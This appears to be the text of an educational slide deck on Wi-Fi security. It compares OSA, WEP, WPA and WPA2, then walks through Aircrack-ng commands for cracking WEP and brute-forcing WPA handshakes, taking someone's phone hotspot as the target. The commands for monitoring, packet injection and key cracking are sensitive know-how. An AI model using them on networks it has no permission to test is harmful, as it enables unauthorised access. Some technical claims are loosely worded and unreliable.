1. OSA vs WEP WPA and WPA II Tools for hacking
Wireless Security
OSA vs WEP
WPA and WPA II
Tools for hacking

2. OSA vs SKA (1997) Open System Association | Shared Key Auth
OSA: Complete Free-for-all – no auth at all
SKA: Used WEP for Authentication
Wireless Equivalent Protocol

3. WEP and why it sucks Streaming Algorithm
RC4 – stream cipher in synchronous mode
Need to keep sync at all times (wireless is bad at that)
Per-packet master key re-use
Every single packet sent holds the RC4 hash
More exposure = more vulnerability
Limited AP keys
WEP only allows 1-4 secret keys so every AP on the network has to share them

4. WEP and why it sucks (cont.)
No AP to client auth
MITM attacks are easy
Confidentiality Vulnerabilities in header
Headers aren't verified by Integrity Checker
Makes Redirection Attacks easy
Integrity Checker is basically garbage
No sequence numbers or timestamps
Replay attacks are easy and effective

5. WPA (2003)
Attempt to re-engineer WEP while using hardware already available
Movements towards standardization
802.11i – group for increased security
WiFi Alliance – standardization between vendors

6. Improvements on WEP WPA Improvements
Integrity checker allowed for 56 bits (stronger keys)
Passwords sent per session, not per packet
Auth built on 802.1X framework and TKIP
Packet sequence numbers (no replay attacks)
Integrity checker for header and payload (no redirection attacks)

7. Improvements on WPA WPA2 (2004) Transition to AES instead of RC4
Way stronger in general
Revamped Integrity Checking
Leverage AES and better hardware
CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol) (wtf)
Basically encrypted encapsulation
More secure key establishment and auth

8. Aircrack-ng Suite of tools for assessing WiFi network security ™
Monitoring (packet capturing and processing)
Attacking (replay attacks, deauths, fake AP, etc)
Testing
Cracking (WEP and WPA PSK I+II)

9. Using it to break WEP iwconfig – check for wireless capabilities
airmon-ng start wlan0
Set your wireless card to monitor mode
airodump-ng mon0
Start monitoring for crazy stuff in the air
Searching for AP's (John's iPhone)
Airodump-ng –bssid “mac” -c “channel” -w WEPCrack mon0

10. Using it to break WEP Open a different terminal
aireplay-ng -3 -b 'AP_mac' -h 'host_mac' mon0
Initiate a replay attack
Looking for about 15k+ #Data
aircrack-ng WEPcrack-01.cap
Cracking
Just wait for it and hope basically

11. Using it to crack WPA Basically the same method besides the last part
WPA is strong enough that you have to bruteforce the pcap instead of doing analysis
oclHashcat > Aircrack-ng because of rainbow tables and rule based cracking
5 minutes vs 2 hours